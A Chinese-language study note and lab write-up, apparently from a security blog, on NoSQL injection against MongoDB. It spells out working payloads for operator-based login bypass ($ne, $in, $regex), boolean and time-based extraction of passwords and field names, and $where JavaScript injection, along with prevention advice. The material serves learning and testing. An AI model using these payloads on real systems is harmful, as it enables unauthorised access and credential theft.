Nosql注入学习记录

admin 2025年4月21日08:20:27评论4 views字数 5770阅读19分14秒阅读模式

关注该公众号,持续分享各种工具&学习记录,共同进步:)

Nosql注入

Nosql注入类型

  • 语法注入 - 当您可以破坏 NoSQL 查询语法时,就会发生这种情况,从而使您可以注入自己的有效负载。该方法与 SQL 注入中使用的方法类似。但是,攻击的性质差异很大,因为 NoSQL 数据库使用多种查询语言、查询语法类型和不同的数据结构。
  • 运算符注入 - 当您可以使用 NoSQL 查询运算符来操作查询时会发生这种情况。

NoSQL语法注入

可以通过尝试破坏查询语法来检测 NoSQL 注入漏洞

如果知道目标数据库的 API 语言,请使用与该语言相关的特殊字符和模糊字符串;;;否则,请使用各种模糊字符串来定位多种 API 语言

检测MongoDB中的语法注入

找到注入点 -> 确定是MongoDB数据库 -> 注入特殊字符串来测试 -> 如果回显不同 -> 说明存在未被过滤的特殊字符串

数据库的类型很重要,Nosql的注入漏洞可能发生在很多情况下

MongoDB 的示例字符串如下:

'"`{
;$Foo}
$Foo xYZ
NoSQL 注入漏洞可能发生在各种情况下,因此您需要相应地调整模糊字符串。否则,您可能只会触发验证错误,这意味着应用程序永远不会执行您的查询。

在此示例中,我们通过 URL 注入模糊字符串,因此该字符串是 URL 编码的。在某些应用程序中,您可能需要通过 JSON 属性注入有效负载。在这种情况下,此有效负载将变为 '"`{r;$Foo}n$Foo \xYZu0000。

确定处理哪些字符

单个字符测试

this.category  ''' # 如果,响应变化 -> 说明'字符破坏了查询语法并导致语法错误。您可以通过在输入中提交有效的查询字符串来确认这一点,例如通过转义引号:
this.category  ''' # 如果这不会导致语法错误,则可能意味着该应用程序容易受到注入攻击。

确认条件行为

检测到漏洞后,下一步是确定是否可以使用NoSQL语法影响布尔条件

测试这一点 -> 可以通过 发送两个请求,一个为真,一个为假 ' && 0 && 'x' && 1 && +'x

https://insecure-website.com/product/lookup?category=fizzy'+%26%26+0+%26%26+'x
https://insecure-website.com/product/lookup?category=fizzy'+%26%26+1+%26%26+'x

如果应用程序的行为有所不同,则表明假条件会影响查询逻辑,而真条件则不会。这表明注入这种语法会影响服务器端查询。

覆盖现有条件

已经确定可以影响布尔条件,可以尝试覆盖现有条件来利用该漏洞。可以注入始终求值为 true 的 JavaScript 条件,例如 '||'1'=='1

https://insecure-website.com/product/lookup?category=fizzy%27%7c%7c%27%31%27%3d%3d%27%31
这导致以下 MongoDB 查询:
this.category == 'fizzy'||'1'=='1'

在将始终求值为真的条件注入 NoSQL 查询时要小心谨慎。虽然这在您注入的初始上下文中可能无害,但应用程序在多个不同的查询中使用来自单个请求的数据是很常见的。例如,如果应用程序在更新或删除数据时使用它,则可能会导致意外的数据丢失。

一个请求获得到的数据,被拿来多次使用

MongoDB数据库可能会忽视在空字符串后面的所有字符

this.category == 'fizzy' && this.released == 1 # 存在限制,只展示已发布的产品

对此:
 https://insecure-website.com/product/lookup?category=fizzy'%00
 this.category == '
fizzy'u0000' && this.released == 1 # NoSQL中的查询

如果MongoDB忽略空字符后的所有字符,那么将会显示该类别中的所有产品,包括未发布的产品

Nosql运算符注入

NoSQL 数据库经常使用查询运算符,这些运算符提供了指定数据必须满足的条件才能包含在查询结果中的方法。

MongoDB查询运算符的示例包括:

  • $where- 匹配满足 JavaScript 表达式的文档。
  • $ne- 匹配所有不等于指定值的值。
  • $in- 匹配数组中指定的所有值。
  • $regex- 选择值与指定正则表达式匹配的文档。

提交查询运算符

在Json消息中,可以将查询运算符作为嵌套对象插入:{"username":"wiener"} 成为 {"username":{"$ne":"invalid"}}

对于基于URL的输入,可以通过URL参数插入查询运算符:username=wiener -> username[$ne]=invalid ;

如果这不起作用:

  1. 将请求方法从 转换GETPOST
  2. Content-Type标题改为application/json
  3. 将 JSON 添加至消息正文。
  4. 在 JSON 中注入查询运算符。

检测MongoDB中的运算符注入

{"username":{"$ne":"invalid"},"password":"peter"}
这将查询用户名不等于invalid的

如果用户名和密码的输入都一样处理的,可以通过以下来绕过登录的身份验证

{"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}

此查询返回用户名和密码均不等于invalid的所有登录凭据。因此,您作为集合中的第一个用户登录到应用程序。

要定位到特定的用户登录进去,可以通过以下的payload

{"username":{"$in":["admin","administrator","superadmin"]},"password":{"$ne":""}}

$in: 匹配数组中的值$ne: 匹配非空的值

利用语法注入来提取数据

在许多 NoSQL 数据库中,某些查询运算符或函数可以运行有限的 JavaScript 代码 ---  例如$where运算符和mapReduce()函数

MongoDB中的数据泄露

https://insecure-website.com/user/lookup?username=admin

{"$where":"this.username == 'admin'"}

admin' && this.password[0] == 'a' || 'a'=='# 这将返回用户密码字符串的第一个字符,使您能够逐个字符地提取密码。

admin' && this.password.match(/d/) || 'a'=='# 你也可以使用 JavaScriptmatch()函数来提取信息。例如,以下有效负载可让你识别密码是否包含数字:

识别字段名称

MongoDB 处理 不需要固定模式的半结构化数据,因此您可能需要先识别集合中的有效字段,然后才能使用 JavaScript 注入提取数据

例如,要识别 MongoDB 数据库是否包含某个password字段,您可以提交以下有效负载:

https://insecure-website.com/user/lookup?username=admin'+%26%26+this.password!%3d'
# admin' && this.password!='

admin' && this.username!='
admin' && this.foo!='

如果password和username字段存在,那么前两个的响应相同,则foo的响应会不同

如果您想测试不同的字段名称,您可以执行字典攻击,通过使用单词表循环遍历不同的潜在字段名称。

您也可以使用 NoSQL 运算符注入逐个字符地提取字段名称。这样您就可以识别字段名称,而无需猜测或执行字典攻击。我们将在下一节中教您如何做到这一点。

利用NoSQL运算符注入来提取数据

即使原始查询不使用任何允许您运行任意 JavaScript 的运算符,您也可以自己注入其中一个运算符。然后,您可以使用布尔条件来确定应用程序是否执行您通过此运算符注入的任何 JavaScript。

在MongoDB中注入运算符

要测试是否可以注入运算符,您可以尝试将$where运算符添加为附加参数,然后发送一个条件计算结果为 false 的请求,以及另一个条件计算结果为 true 的请求。例如:

{"username":"wiener","password":"peter""$where":"0"}

{"username":"wiener","password":"peter""$where":"1"}

如果响应之间存在差异,则可能表明$where正在评估子句中的 JavaScript 表达式。

提取字段名称

如果注入了可运行的JavaScript运算符,则可能能够使用该keys()方法提取数据字段的名称,例如如下的payload

"$where":"Object.keys(this)[0].match('^.{0}a.*')"

这将检查用户对象中的第一个数据字段并返回字段名称的第一个字符。这使您可以逐个字符地提取字段名称。

使用运算符窃取数据

或者,可以使用不允许运行JavaScript的运算符$regex来提取数据。例如,您可以使用运算符逐个字符地提取数据。

首先,进行测试:

{"username":"admin","password":{"$regex":"^.*"}}

如果对此请求的响应与您提交错误密码时收到的响应不同,则表明该应用程序可能存在漏洞。您可以使用$regex运算符逐个字符提取数据。例如,以下有效负载检查密码是否以a开头:

{"username":"admin","password":{"$regex":"^a*"}}

基于时间的注入

要进行基于时间的 NoSQL 注入:

  1. 多次加载页面以确定基准加载时间。
  2. 将基于时间的有效负载插入输入。基于时间的有效负载在执行时会导致响应故意延迟。例如,{"$where": "sleep(5000)"}成功注入后会故意延迟 5000 毫秒。
  3. 确定响应加载是否变慢。这表示注入成功。

如果密码包含字母a,以下基于时间的有效载荷将触发时间延迟:

admin'+function(x){var waitTill = new Date(new Date().getTime() + 5000);while((x.password[0]==="a") && waitTill > new Date()){};}(this)+'

admin'+function(x){if(x.password[0]==="a"){sleep(5000)};}(this)+'

防止 NoSQL 注入

预防 NoSQL 注入攻击的适当方法取决于所使用的具体 NoSQL 技术。因此,我们建议阅读您选择的 NoSQL 数据库的安全文档。话虽如此,以下广泛的指导原则也会有所帮助:

  • 使用可接受字符的允许列表来清理并验证用户输入。
  • 使用参数化查询插入用户输入,而不是将用户输入直接连接到查询中。
  • 为了防止操作员注入,请应用可接受密钥的允许列表。

1. Lab: Detecting NoSQL injection

单引号测试
?category=Corporate+gifts' -> 报错,说明用户输入未经过正确过滤或清理
?category=Corporate+gifts'
%2b' -> '+' 记得URL编码 成功回显

?category=Corporate+gifts'
+%26%26+1+%26%26+'x -> true条件 ' && 1 && 'x
?category=Corporate+gifts'
+%26%26+0+%26%26+'x -> false条件 ' && 0 && 'x
?category=Corporate+gifts'
||1||'

2. Lab: Exploiting NoSQL operator injection to bypass authentication

通过插入 查询表达式 测试 ==要会利用已有的条件 让问题简单化==

{"username":{"$ne":""},"password":"peter"

登录进去了,说明可行

{"username":{"$regex":"admin.*"},"password":{"$ne":""}}

3. Lab: Exploiting NoSQL injection to extract data

wiener:peter登录进去抓包,

找到一个/user/lookup?username=wiener的包 --- 测试

单引号测试:
'
'
+'
布尔测试
'
 && 0 'x
'
 && 1 'x
测试长度 --- 8
administrator'
 && this.password.length < 30 || 'a'=='b
爆破即可 --- 添加数据下标和比较的值为爆破参数
administrator'
 && this.password[0]=='a' || 'b'='a

4. Lab: Exploiting NoSQL operator injection to extract unknown fields

在登录框的地方测试,添加一个Json字段

{"username":"carlos","password":{"$ne":"invalid"},"$where":"0"}
{"username":"carlos","password":{"$ne":"invalid"},"$where":"1"}

-> 发现存在注入

得在忘记密码处输入一下carlos,然后来到登录框处

{"username":"carlos","password":{"$ne":"invalid"},"$where":"function(){if(Object.keys(this)[2].match('^.{0}a.*'))return 1; else 0;}"}
->判断值

{"username":"carlos","password":{"$ne":"invalid"},"$where":"function(){if(Object.keys(this)[2].length==0))return 1; else 0;}"}
->判断长度

原文始发于微信公众号(夜风Sec):Nosql注入学习记录

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月21日08:20:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Nosql注入学习记录https://cn-sec.com/archives/3980321.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息